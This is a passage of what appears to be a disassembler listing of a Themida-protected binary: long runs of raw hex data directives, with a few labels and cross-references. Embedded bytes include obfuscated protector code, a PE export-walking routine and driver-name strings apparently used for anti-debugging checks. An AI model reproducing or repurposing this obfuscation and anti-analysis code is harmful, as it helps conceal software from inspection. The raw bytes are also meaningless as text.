3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0FCDCBDC3h dd 0D6047B61h, 8B0F90F4h, 0Fh, 0AE9h, 485BA100h, 9829FE73h dd 509F74DEh, 52505250h, 8E0Fh, 310F0000h, 8F0Fh, 585A0000h dd 6660310Fh, 8BD697B9h, 585A61FBh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0C3081CFBh dd 2A5B1BF9h, 0FF64DCBBh, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 75EDE810h dd 0B70F60DAh, 39D981F7h, 617457D2h, 6A24048Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0F245C353h, 0C3BF6198h, 198589E6h, 6A07E430h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 3A19C353h, 9D894D6Bh, 7E415A5h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 9FDAC355h, 0DD82E791h, 49F03831h, 0D810Fh dd 66600000h, 0B554CF81h, 5A8FE181h, 8D611101h, 0E7C4E085h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0BD896078h, 7E42631h, 1608961h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h, 218D8D29h dd 0E9FC07E4h, 251h, 6820F60h, 0F000000h, 83h, 0DBD8900h dd 6107E415h, 0E8DB8BFCh, 0 dd 0D9ED815Dh, 0BC07E7C4h, 12FF9Ch, 38DBD83h, 740007E4h dd 0B5858B18h, 0C607E41Eh, 858B0000h, 7E4169Dh, 0FF0000C6h dd 0E4166595h, 0B5FF6007h, 7E7AC96h, 0AC9A858Dh, 8D5007E7h dd 0E7AE9285h, 95FF5007h, 7E42169h, 610CC483h, 5E960h dd 40070000h, 0F7301EBh, 0D88h, 8E900h, 9B50000h, 0A035F250h dd 6A61E96Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 92BCC353h, 85B509AEh, 8D07E401h dd 0E7AE92B5h, 0C59D2907h, 8D07E414h, 0E43359BDh, 2D953107h dd 8007E41Ah, 840F003Eh, 61h, 9D9D29h, 6AA407E4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 42E4C350h, 0CCA2D8C5h, 0FFC9E91Dh, 6AFFFFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 144866C3h, 0E91EE8CBh, 0Dh, 0A1D575Ah, 9D78C379h, 0CC71D186h dd 0F5C02B1Ah, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0AFE915F9h, 0E59C6D30h dd 8B60874Eh, 0F1BF66CFh, 12E961EBh, 29000000h, 698C478Dh dd 6C3B71A6h, 44C1284Eh, 8620B84Fh, 7B83Eh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0A1F30BC3h, 1DEE8929h, 0C7247F1Bh, 0E40AD985h, 107h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 2D5A2E42h, 0F609695h, 683h, 99D8900h, 0BF07E432h dd 7FFE391Dh, 8D8DFC61h, 7E44FE7h, 14E960h, 0CB5D0000h dd 0B56AB4D3h, 0B97DD1DAh, 0BAA6D074h, 0B4ABCCD0h, 8D89DC82h dd 7E42C01h, 6AE1FF61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0C196C357h dword_5BEB6C dd 0C245C8Bh, 0E855h, 815D0000h, 0E7C6EBEDh, 0B8838B07h ; DATA XREF: Themida_:0058457Co dd 89000000h, 0E7AC9685h, 0D2858D07h, 8907E7C4h, 0B883h dd 0C0335D00h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 897C6157h, 0E422059Dh dd 0E1852907h, 8907E413h, 0E418D985h, 0BE907h, 47CD0000h dd 0CE1B464Ch, 9BC9940Ch, 952960B9h, 7E418B5h, 0C9C4858Dh dd 850F07E7h, 1, 0DE990F8h, 26000000h, 7D19F2ACh, 0F0BF5831h dd 8806A096h, 16850F50h, 50000000h, 0F525052h, 0F585A31h dd 5E931h, 69330000h, 5A3BBA93h, 6A9058h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 810F03C3h dd 6, 20DB589h, 858907E4h, 7E41F29h, 35FF64h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0E4B4C353h, 9BB32C96h, 0A4BAD2EBh, 6810Fh dd 0B5310000h, 7E42631h, 258964h, 0F9000000h, 0CA5B858Dh dd 810F07E7h, 15h, 10E9h, 0E4D0C200h, 0AA2B60A2h, 0E781757Ah dd 5DABC372h, 160896Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0FEC35343h, 0AFA342A2h, 6296A28Ah, 14E9FCh dd 0D1620000h, 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h dd 85C605FDh, 7E42C2Dh, 0AE9604Fh, 0BB000000h, 34D295C1h dd 6C13D118h, 0B4BE6686h, 4E861DFh, 2A000000h, 50FEC874h dd 0DE952h, 0BFC70000h, 914758A9h, 87BCB3BFh, 0F8555EAh dd 60525031h, 0E9310F61h, 10h, 4ED891D6h, 7A52213Ch, 666D024Dh dd 33D1B816h, 585A585Ah, 0FE950h, 0E2FE0000h, 0ADF17EE9h dd 88C62AECh, 0FFB6A56Ch, 24448B26h, 0EE904h, 5FF50000h dd 0ACCA082Dh, 73F31D56h, 71F6363Bh, 840F008Bh, 8, 2830Fh dd 61600000h, 4244489h, 0A880Fh, 52500000h, 310F6160h dd 585A6160h, 6850F58h, 29000000h, 0E4216585h, 41B5FF07h dd 6A07E421h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 1EB7C353h, 5DBD012Ch, 8907E435h dd 0E406F59Dh, 0A7858D07h, 6007E7B0h, 25CD8D8Bh, 0DE907E4h dd 0DA000000h, 0C42D2356h, 653726E5h, 0B85B71C6h, 6AD0FF61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 9036C353h, 3B0711E1h, 0CBAEAAAh, 0A860Fh dd 89600000h, 0E42FF995h, 61C38A07h, 0B5E9h, 0FA8B6000h dd 2F7DB501h, 0E96107E4h, 0Fh, 742C1184h, 26ABD6E5h, 94AD292Dh db 68h, 4Eh, 0Ch byte_5BEE4F db 8Bh ; DATA XREF: Themida_:005843B4o dd 550C245Ch, 0E8h, 0ED815D00h, 7E7C9CEh, 19D858Bh, 858907E4h dd 7E42141h, 1DE1858Bh, 858907E4h, 7E41D89h, 0DE1858Bh dd 858907E4h, 7E401CDh, 2C2D85C6h, 0C70007E4h, 0E7B21285h dd 7, 5B858D00h, 8907E7CAh, 0B883h, 0C0335D00h, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 4F0AE388h, 0AF6B2CAEh, 6AC9A2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 74BC52C3h, 10012FFh dd 0E41CFD85h, 0A1BD0907h, 6407E40Eh, 58Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 0C5A555C3h, 0FC04C483h, 83E961h, 51530000h, 8B575652h dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h dd 0FFFFF1E9h, 0E8CA8BFFh, 0Eh, 0C18899Bh, 958815BEh, 0D7BDF4C3h dd 0E081D964h, 3A2D4D64h, 0D8B8665Fh, 0B0C7817Dh, 81000063h dd 76A19ED8h, 18C8687Bh, 81660000h, 598664F6h, 6B35D4BEh dd 0F178B66h, 180h, 0EA81F500h, 41613437h, 80F68166h, 5DEA816Ah dd 0F400A23h, 0F281D9B7h, 51A03303h, 48C0Fh, 0BB660000h dd 0F552B892h, 6E9078Fh, 85000000h, 3CEEA63Ch, 4EF83C1h dd 81DF8B66h, 1E9h, 0B2850F00h, 0E9FFFFFFh, 0Ch, 0BC0343B1h dd 0F7891077h, 6D4C84h, 464934EBh, 52474D53h, 4B562020h dd 20202044h, 4D562020h, 2020204Dh, 57562020h, 32334E49h dd 58562020h, 52444C44h, 2020h, 2 dup(0) dd 0ACE90000h, 6A000007h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 609CC353h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F8C35141h, 1F3CAC58h dd 7088DAF2h, 0F1B70F60h, 8A0Fh, 0C7610000h, 0E7CBE385h dd 7, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 91805CCBh, 0F8017042h, 0EE9h, 0E0FE9800h dd 0D6795746h, 2DBC6117h, 8B612F97h, 50006AC6h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 1A42630Eh dd 0C8C0FB2h, 0F000000h, 689h, 850F00h, 0F000000h, 18Dh dd 0B70FF900h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0E33EF3B2h, 0F512BB20h dd 6A10E8C1h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0F73C352h, 185h, 0C166FC00h, 6A08C8h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0FFAEE0C3h, 0F279FBEEh, 10E9h, 0E1A2D700h, 63E76833h dd 0A3C4C3A5h, 0B07E4609h, 0E78589B4h, 0F507E7CBh, 0CBC166F9h dd 13E96008h, 5C000000h, 0D3A80EE5h, 87EFA7E3h, 0C681227h dd 0FCBB8AEEh, 8361ED56h, 850F40FBh, 6Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0F6C35141h, 697FB625h dd 9B1FD67h, 0BBBD8DF5h, 6A07E7CBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C3DCC353h dd 0DB4FFD6Dh, 0BF0F609Fh, 47B966C8h, 5360616Ch, 5BAFEA81h dd 815E160Dh, 39DEC0E7h, 94E96150h, 0F9000001h, 0F0DFB83h dd 6F85h, 66606000h, 8E01F781h, 0E8615951h, 11h, 0B6107EA6h dd 0CB5538BCh, 9C3A604Bh, 0F98B7A48h, 11E913h, 0D18A0000h dd 0E0CEE74Dh, 655F3D36h, 4AD9CCBEh, 5B4DBAB5h, 0C3BD8D61h dd 0F907E7CBh, 0F88B6660h, 40E961F8h, 60000001h, 13E9h dd 2DFBB200h, 0A463D86Ch, 0A09286BCh, 7D1BEBE2h, 17FD050Bh dd 58C0Fh, 81660000h, 6148D5E2h, 0F01FB83h, 7685h, 0F860F500h dd 0FE8h, 8E99B300h, 0E7900C0Ah, 99B6F7DBh, 0EEB2C3ABh dd 0AE9h, 6AA08A00h, 0C4E04C29h, 5A1BFC6Eh, 0CBBD8D61h dd 6A07E7CBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F936C350h, 0C1E9F5h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0D73B32C3h, 0E56BD222h, 83FC38A3h, 850F2AFBh, 49h, 61F96060h dd 0F1816660h, 0C18BC65Bh, 0BD8D6161h, 7E7CBD3h, 0E850006Ah db 3 byte_5BF381 db 3 dup(0) ; DATA XREF: Themida_:005957E3o dd 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h, 5DE9FCh dd 0EE90000h, 1A000000h, 333945E7h, 8CB8AB20h, 2B97C9E8h dd 27FB8383h, 326850Fh, 8DF50000h, 0E7CBDBBDh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8F0C9754h, 0AE9h, 5B692B00h, 25497930h, 60539D5Fh, 6B5DBA66h dd 870Fh, 89610000h, 0E7CBEBBDh, 0F08B6007h, 2820Fh, 61600000h dd 0C88C6661h, 14800Fh, 0FE90000h, 0 dd 1B29133Ch, 2DCC52EBh, 8E4A1827h, 6E95435h, 8C000000h dd 89F18273h, 6A032486h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 97D8C351h, 13E930h dd 65890000h, 0E544438h, 4D13A069h, 7E97D01h, 0A3439183h dd 0FC00ABEh, 1D085h, 8D0F6000h, 5, 3AE38166h, 0D98B6643h dd 41B86061h, 603030D0h, 80F18B66h, 61610EEFh, 0D2AAB58Dh dd 8BFC07E7h, 0E7D35385h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 92EE1E29h dd 9E95250h, 15000000h, 0B4B1CE66h, 64359E40h, 0AE9310Fh dd 43000000h, 0A180CC57h, 1D1732B8h, 50585A4Ah, 0A800Fh dd 52500000h, 310F6160h, 585A6160h, 55006A92h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A9896A00h dd 0E9AC3E32h, 0Eh, 0B0635D0h, 0D42A0A74h, 9561CE16h, 10F9972h dd 60FE244Ch, 0BE9FCh, 62260000h, 419C6932h, 8E52ADA7h dd 6A5A610Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0D386C351h, 6A24C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 85C352h, 0D0431011h, 31B26CDFh, 728966FCh, 88C0FFCh dd 0F000000h, 28Fh, 0C1616000h, 666010CEh, 0E97A56BAh dd 0Fh, 45114F13h, 0B57158A3h, 5DC6B93Fh, 6164F59Ch, 2728966h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DAC35343h dd 4F3FDBAFh, 0FC99D8Dh, 1582h, 9E96000h, 89000000h, 6D66F2D3h dd 9A883442h, 0A3E88166h, 4CD61D5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0D6C35141h, 9FE9F901h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 5778C357h, 81B66060h, 61F861F5h, 53858BF9h dd 6A07E7D3h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E99BC350h, 5, 7341B011h, 6E921h dd 53E00000h, 0BFA3D2AAh, 0D2AAB58Dh, 8DFC07E7h, 0E7841785h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0F8D0FF94h, 11E9h, 0FE7F9500h, 53C9BC9Dh dd 0DD24337Dh, 38137D73h, 85896DF2h, 7E7CBE3h, 168D0Fh dd 870F0000h, 10h, 0BE9h, 72B4DB00h, 0B09ED5E2h, 0A2848D94h dd 8B666061h, 0A2B966D6h, 858B61C7h, 7E7CBE3h, 18C0Fh dd 0C3F90000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 8EC35747h, 0FFCFC336h, 0F9650019h, 78E0F65h, 0F000000h dd 18Dh, 6660F800h, 66DA22BFh, 0B2BC281h, 6A6061h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 5DC8CCC3h, 83CEF4BEh, 0E7D353BDh, 850F0007h, 5Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h, 60AF42F6h dd 3810Fh, 0F4800000h, 0CE81665Eh, 0C76195F4h, 0E7D35385h dd 1013F07h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 144D2CB8h, 0E9FC44FEh, 18h, 12850Fh dd 0DE90000h, 10000000h, 0ACCF5A40h, 43809EE5h, 0BEC35740h dd 20CDh, 0C00B0000h, 708D3774h, 0EBBD8B0Ch, 0B907E7CBh dd 8, 492275A6h, 488BFA75h, 0E79D8B30h, 3B07E7CBh, 157F3458h dd 0D26BD38Bh, 8BCA0304h, 0E3858901h, 0EB07E7CBh, 0EB008B04h dd 858B61C5h, 7E7CBE3h, 8060F5CFh, 8B61A6F0h, 13E8C0h dd 5D370000h, 0F87DB603h, 2E9A4179h, 36CBAA62h, 0C0DE8CC6h dd 0B70F59EAh, 88C181DBh, 0FC00005Ah, 3E09B3BAh, 0BCC28149h dd 60B6C20Ch, 11C8AEBBh, 318B613Ah, 0BBCB8166h, 22C68155h dd 0F67386Ah, 108Fh, 7E96000h, 2A000000h, 0A4C0589Ch, 0DF8B797Bh dd 0C8EE8161h, 8A537397h, 43F681FEh, 662AA2D2h, 82B8F081h dd 0CE956h, 0E3540000h, 3A9D84F6h, 0B26D96B7h, 18F7FE8h dd 10E952h, 83010000h, 4AC79DABh, 648DF453h, 42D090DFh dd 835804F9h, 0F4A04E9h, 2285h, 8E900h, 0C84B0000h, 0EF0EA292h dd 23E93164h, 7D000000h, 0F06712Bh, 7C0C16D2h, 561D4B46h dd 5741274Ch, 0F595060h, 5F61C6B7h, 0FFFF65E9h, 9B02BBFFh dd 48E90578h db 1, 2 dup(0) byte_5BF907 db 48h ; DATA XREF: Themida_:00585024o ; Themida_:005854A0o dd 4C000000h, 50000000h, 54000000h, 58000000h, 5C000000h dd 60000000h, 64000000h, 0A8000000h, 0AC000000h, 0B0000000h dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h dd 0DC000000h, 0E0000000h, 0E4000000h, 38h dup(0) dd 67000000h, 3005BF9h, 8D00B2C2h, 0E7D47C85h, 9E96007h dd 56000000h, 0CE257EB5h, 8EE952B6h, 2B998589h, 896107E4h dd 0E7D5BC85h, 15853107h, 0C607E430h, 0E42C2D85h, 81665407h dd 68CFB2D2h, 0FBE1882Eh, 7243481h, 0E91583E0h, 0Bh, 0DE39E678h dd 44EFEEABh, 0FFC619EDh, 0E42141B5h, 8C0FF807h, 4, 5E5F5652h dd 0B0A7858Dh, 0D0FF07E7h, 0D698D8Bh, 9D8907E4h, 7E41815h dd 0D5C08589h, 0B50907E7h, 7E40729h, 47E9h db 0, 0F5h word_5BFAD6 dw 8B56h ; DATA XREF: Themida_:00582630o ; Themida_:005847B8o ... dd 0E7D5BCB5h, 83068907h, 0E7D5BC85h, 0C35E0407h dword_5BFAE8 dd 7CB58D60h, 0EB07E7D4h, 6A560Fh, 95FF36FFh, 7E7D5C0h ; DATA XREF: Themida_:0058441Co dd 4C6835Eh, 75003E83h, 81C361ECh, 4D14B3F3h, 0AE962h dd 167A0000h, 1B6C9624h, 0E7D104CCh, 0D65D858Dh, 8D8907E7h dd 7E41675h, 1F918589h, 2E907E4h, 0D3000001h, 975B6640h dd 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h dd 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh, 0E3A7B4E0h dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0D25D3407h dd 1E59A0A3h, 7 dup(0) dd 0D28E900h, 7680000h, 0E907E7DAh, 0FFFCA643h, 0E7DB3968h dd 0A639E907h, 4268FFFCh, 0E907E7DCh, 0FFFCA62Fh, 0E7DD3068h dd 0A625E907h, 0AE68FFFCh, 0E907E7DDh, 0FFFCA61Bh, 0E7DE7B68h dd 0A611E907h, 0C968FFFCh, 0E907E7DFh, 0FFFCA607h, 0E7E08C68h dd 0A5FDE907h, 3F68FFFCh, 0E907E7E1h, 0FFFCA5F3h, 0E7E21B68h dd 0A5E9E907h, 0F768FFFCh, 0E907E7E2h, 0FFFCA5DFh, 0E5799B73h dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h, 0A578DDA2h dd 0A5347913h, 29617956h, 5430815Bh, 54BBDA3Ah, 329A6268h dd 7F3DA1D9h, 0DAEC04E1h, 3916093Dh, 0EDC710EEh, 891D76CFh dd 3989256Ah, 0A60F62BCh, 8FC73013h, 38CCE4C1h, 20FA4522h dd 0ED51FFBh, 0E7404324h, 0F687C5Bh, 3B502AD7h, 8A5313A6h dd 3B8663DAh, 9AEA4361h, 3BC4BB38h, 329213A6h, 0A63CCEB5h dd 0CA238C13h, 5ABC96B8h, 5AC5E1BCh, 13A63CA5h, 0AF54D131h dd 2B13A63Ch, 3D5769C2h, 0E63A4160h, 6B06F8B5h, 0A61409EEh dd 35CC513h, 0C7A472AAh, 703977AFh, 216C4934h, 55F02848h dd 823AACFCh, 12F1EF06h, 0C49BBDCFh, 0D877B23Bh, 0C8E4BF5Dh dd 5A817B6h, 56400000h, 97296179h, 7B843825h, 35B2D1B3h dd 1442E94Eh, 384AA30Ch, 4122411Eh, 2A737E79h, 0B43633Ch dd 2ABE1770h, 3E10DE50h, 0D37249C5h, 1A526A47h, 454A6D7Fh dd 3AB71969h, 1442BA45h, 0B896A811h, 0A6A9B13Bh, 5E96FF13h dd 0A68ECEB1h, 386C7D13h, 77EF7B84h, 355CD8h, 4D850000h dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h dd 0D87807D3h, 344827C5h, 0BD8322h, 5A30000h, 0E299162Bh dd 7013A6A6h, 4822AE07h, 5643182Ah, 5B296179h, 5E2C6480h dd 63316981h, 801E6E86h, 0B8538BA3h, 1D8F84A6h, 181442A3h dd 798F233Bh, 754C849Ch, 0C744941Ah, 13A6B04Dh, 0F716AA13h dd 64C61698h, 0A6B810E7h, 4355BE13h, 51E7E865h, 3AAC1440h dd 47FEF791h, 0DAB7431Dh, 68D1B0C2h, 839F7A18h, 0AFFED9EFh dd 0BC43C0D5h, 1A1B8923h, 0EFCC58B1h, 0AD2A7ED7h, 7A623299h dd 0A07B43Ah, 855D0000h, 0E0B9CF63h, 3A162CC0h, 97768C20h dd 0FED9EF83h, 8F754EE2h, 4BDFFBD6h, 0A93D5B35h, 0B9FB593h dd 6C0018F5h, 0F78C09B9h, 6313A57Ah, 7B568F1Eh, 0D8B5CB5Fh dd 4D5B2CC0h, 445C3942h, 681E9BEBh, 2613A6A9h, 8B1126B6h dd 92E23CCCh, 0A6566E15h, 2A83EC13h, 4FB78DAh, 9713A656h dd 0CF6AA2BAh, 0E909E27Eh, 0ABBD16B1h, 3E153E5h, 74BBBE35h dd 532C2537h, 0F813A686h, 0C9A644A6h, 73DE79B1h, 13A6868Ch dd 0C617350Fh, 0F6AE4B5Dh, 314725C3h, 34502BF9h, 11EEC9DBh dd 0C6D877EBh, 0E2h, 19F492EFh, 9E2AC5FDh, 7A94A6C4h, 6A118E9Dh dd 0E81442A0h, 0CDB22F7Fh, 891442A0h, 0C18FC720h, 0E592CAE6h dd 1442A3EBh, 0E579916Eh, 0C8A7F2CFh, 6D0B5BB4h, 0A0667890h dd 19579C0Eh, 5CCD4C88h, 22E88F0Ch, 0FD661442h, 0E7C7C8EBh dd 9C822597h, 0CFD845C5h, 154D6743h, 0D8A687Ah, 13A63E0Bh dd 3D5CF059h, 8F0C5C52h, 1440D833h, 0EA88D841h, 23BEF60Ch dd 0A338BC3h, 32448C30h, 0BFDBB654h, 1E3A152Bh, 32A417CAh dd 5EE42462h, 8D5h, 195B78Fh, 5EF212EBh, 0BE526C48h, 21B5C9A8h dd 8014300Bh, 2D0841A7h, 8D677D11h, 0E7C5DB6Fh, 4A273DD1h dd 3BEB9E32h, 0A57B39BEh, 0C1509513h, 0CB5F7B56h, 2D7453F1h dd 67023A4Eh dword_5C0000 dd 0C744D60Eh, 1442A030h, 50DC359Eh, 8A255D71h, 69815E78h ; DATA XREF: Themida_:005829A0o dd 795604D5h, 7E5B2961h, 63ABD266h db 0EDh, 0A2h, 0Ch byte_5C0023 db 0BCh ; DATA XREF: Themida_:00584008o dd 0A0F6E85Ah, 40A0B493h, 24FFABh, 83CD419Bh, 0EBE4F64Fh dd 13A6643Dh, 690E8BEBh, 0E613A7B4h, 0A7B49269h, 86D74013h dd 0B4D2A926h, 178013A7h, 6C5C65BEh, 62DFF4CEh dword_5C005C dd 13A7B49Dh, 3F77D039h, 0CC9992A4h, 52ED6FC0h, 6FD7A3Dh ; DATA XREF: ___:off_444E7Co dd 0D412EF29h, 50C2126Bh, 1AC0F527h, 0AA889A36h, 0B37132Dh dd 94D04215h, 2B942D23h, 0E0857AF7h, 0E8511AD3h, 359E7D8Fh dd 456926FDh, 502078F5h, 89F21D34h, 0A6BE9B39h, 0C7C63812h dd 42E04CE6h, 0F80EEC78h, 0F91325C0h, 6CCFD1Ch, 0E05C62BFh dd 2EB83387h, 57975B85h, 7CCD1h, 9EC09800h, 0FB1BF40Ah dd 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h, 70861A36h dd 0CEE47896h, 3046DAF0h, 0F4A73B53h, 7C30C744h, 599E13A5h dd 617956CAh, 6A3D5229h, 0F8D17D30h, 0A22078D8h, 0C967B710h dd 0A9C5A0EDh, 457DD671h, 58BA98AAh, 0BA94DBBAh, 70C9649Ch dd 5229A638h, 1442ADh, 332C3E97h, 13A69F49h, 0EB0A9E07h dd 58BA0AA4h, 398274E6h, 6A7CCF0Ah, 414A0B71h, 1060C914h dd 2D7D9572h, 0B5A94ECBh, 0BC251B8Eh, 957288AAh, 0B48F2D7Dh dd 0B55F24A1h, 92FB1B8Eh, 976CE939h, 431B8EB5h, 2B02C8DAh dd 7DFA4A64h, 1C69632Eh, 0A54393FCh, 61CB0C8h, 2D91129h dd 5FD1218Dh, 0B330D269h, 3F185CCh, 9CC1218Ah, 2E0C1E7Bh dd 21F65ACCh, 0AD9567A3h, 0F804A29Bh, 0B6520415h, 1266BFDBh dd 5266B5E3h, 0DEBA4080h, 86000006h, 0E2F88CAEh, 3F55E909h dd 9FB54963h, 218ACC0h, 9E770B27h, 824FF58h, 66845E74h dd 0C8DEBCD2h, 29411E34h, 0B532E295h, 13A57DCEh, 4DB8478Ch dd 3F87542h, 941442A0h, 0E14A9BBBh, 65F7955h, 0F23918B6h dd 90A2FB17h, 76FE35B2h, 20BC13A5h, 55F02846h, 310EACFCh dd 95EE0CE6h, 0F60EEB01h, 0D3A8E7BEh, 8A3DBF9h, 18E25FAFh dd 0B6144145h, 1406F94Dh, 31716232h, 660ABh, 0A2C0400h dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h, 7DD61CF5h dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh, 7D4C33B0h dd 0C50A13A5h, 0B3309236h, 1442A0CCh, 0F515EE8Ah, 28678A9Ch dd 43B93686h, 1113A577h, 0DDBA58A8h, 3E1B31C5h, 7817EE26h dd 0B40D2703h, 0AEB8E764h, 5671442h, 0E5126A3h, 94FD1B8Dh dd 8D0E5229h, 0CCECC51Bh, 2100127Bh, 890668B8h, 1B8D0EF2h dd 0CCEAC460h, 0D1A62373h, 7D1B8D0Eh, 86240214h, 23FD91A9h dd 0B4A659B1h, 260369CEh, 89A3B50Eh, 0D24494ACh, 0DC98F2Ch dd 542BA8CCh, 21B8D42h, 682E4099h, 60B0FE91h, 6955C5E3h dd 5D23931Ch, 14E59CD1h, 9970C41Dh, 0F25A4B0Ch, 5932CB2h dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h dd 7B007D2Dh, 0D713A57Eh, 79560392h, 7E5B2961h, 0DCB3D266h dd 8B0582D2h, 0C913A6B3h, 0D7EDCB69h, 0A6B4976Ch, 81DA4313h dd 0B4E39C49h, 576813A6h, 9906F2Fh, 0A406D878h, 0A6BC5027h dd 0CEE6C313h, 6302147Dh, 77h, 0EAEF1183h, 0BF57B20Ah dd 6816489Fh, 293B94F3h, 15F49254h, 316544FAh, 5FB84C56h dd 49652A4Dh, 1DF997F9h, 1E30CB03h, 0A62C6F25h, 4FCC2E13h dd 13A62EA8h, 0CCABBD26h, 0DF385630h, 7B651D8Fh, 39F43C98h dd 700B435Dh, 923F0517h, 13A633E9h, 4A9A0C5Eh, 213B77DBh dd 0C7B08322h, 0E7511967h, 